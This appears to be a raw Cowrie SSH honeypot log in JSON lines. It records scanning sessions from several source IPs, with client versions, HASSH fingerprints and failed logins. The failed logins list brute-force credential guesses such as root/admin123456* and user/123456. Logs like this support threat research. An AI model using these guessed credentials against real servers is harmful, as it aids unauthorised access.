{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:12.003452Z","src_ip":"103.97.179.160","session":"c71904bced9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:12.257113Z","src_ip":"103.97.179.160","session":"c71904bced9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456*","message":"login attempt [root/admin123456*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:13.164060Z","src_ip":"103.97.179.160","session":"c71904bced9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:14.384897Z","src_ip":"103.97.179.160","session":"c71904bced9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:19.360220Z","src_ip":"122.168.114.167","session":"2e7cb9e3734c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:23.107196Z","src_ip":"122.168.114.167","session":"2e7cb9e3734c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35710,"dst_ip":"159.203.135.109","dst_port":22,"session":"87c558c4d7bb","protocol":"ssh","message":"New connection: 122.168.114.167:35710 (159.203.135.109:22) [session: 87c558c4d7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:46.237065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:47.856505Z","src_ip":"122.168.114.167","session":"87c558c4d7bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:47.861176Z","src_ip":"122.168.114.167","session":"87c558c4d7bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":53544,"dst_ip":"159.203.135.109","dst_port":22,"session":"47100e5ed692","protocol":"ssh","message":"New connection: 113.163.156.190:53544 (159.203.135.109:22) [session: 47100e5ed692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:47.865125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:47.869009Z","src_ip":"113.163.156.190","session":"47100e5ed692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:48.123065Z","src_ip":"113.163.156.190","session":"47100e5ed692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos7svm","message":"login attempt [root/centos7svm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:49.174230Z","src_ip":"113.163.156.190","session":"47100e5ed692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":42656,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4fb2c03bfaf","protocol":"ssh","message":"New connection: 76.127.61.251:42656 (10.17.0.5:22) [session: d4fb2c03bfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:49.417499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:49.423997Z","src_ip":"76.127.61.251","session":"d4fb2c03bfaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:49.482084Z","src_ip":"76.127.61.251","session":"d4fb2c03bfaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dq123456","message":"login attempt [root/Dq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:49.756212Z","src_ip":"76.127.61.251","session":"d4fb2c03bfaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:50.432101Z","src_ip":"113.163.156.190","session":"47100e5ed692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:50.815161Z","src_ip":"76.127.61.251","session":"d4fb2c03bfaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:56.514211Z","src_ip":"122.168.114.167","session":"87c558c4d7bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:59.913277Z","src_ip":"122.168.114.167","session":"87c558c4d7bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":42978,"dst_ip":"10.17.0.5","dst_port":22,"session":"7664db437b8c","protocol":"ssh","message":"New connection: 103.97.179.160:42978 (10.17.0.5:22) [session: 7664db437b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:07.524931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:07.529757Z","src_ip":"103.97.179.160","session":"7664db437b8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:07.778399Z","src_ip":"103.97.179.160","session":"7664db437b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@111","message":"login attempt [root/admin@111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:08.657776Z","src_ip":"103.97.179.160","session":"7664db437b8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:09.872086Z","src_ip":"103.97.179.160","session":"7664db437b8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38114,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b0859243eac","protocol":"ssh","message":"New connection: 122.168.114.167:38114 (159.203.135.109:22) [session: 5b0859243eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:26.592452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:28.115974Z","src_ip":"122.168.114.167","session":"5b0859243eac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:28.120261Z","src_ip":"122.168.114.167","session":"5b0859243eac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:35.615939Z","src_ip":"122.168.114.167","session":"5b0859243eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:39.071524Z","src_ip":"122.168.114.167","session":"5b0859243eac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":34470,"dst_ip":"10.17.0.5","dst_port":22,"session":"beaf92651b25","protocol":"ssh","message":"New connection: 76.127.61.251:34470 (10.17.0.5:22) [session: beaf92651b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:41.692454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:41.697239Z","src_ip":"76.127.61.251","session":"beaf92651b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:41.753885Z","src_ip":"76.127.61.251","session":"beaf92651b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"He123456!","message":"login attempt [root/He123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:42.013519Z","src_ip":"76.127.61.251","session":"beaf92651b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:43.071199Z","src_ip":"76.127.61.251","session":"beaf92651b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":39504,"dst_ip":"159.203.135.109","dst_port":22,"session":"db2baa847da9","protocol":"ssh","message":"New connection: 113.163.156.190:39504 (159.203.135.109:22) [session: db2baa847da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:47.206163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:47.211085Z","src_ip":"113.163.156.190","session":"db2baa847da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:47.463357Z","src_ip":"113.163.156.190","session":"db2baa847da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"sammy@2026","message":"login attempt [sammy/sammy@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:48.508098Z","src_ip":"113.163.156.190","session":"db2baa847da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:14:49.762940Z","src_ip":"113.163.156.190","session":"db2baa847da9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40522,"dst_ip":"159.203.135.109","dst_port":22,"session":"096d7f035336","protocol":"ssh","message":"New connection: 122.168.114.167:40522 (159.203.135.109:22) [session: 096d7f035336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:07.219449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:07.778594Z","src_ip":"122.168.114.167","session":"096d7f035336","protocol":"ssh"}
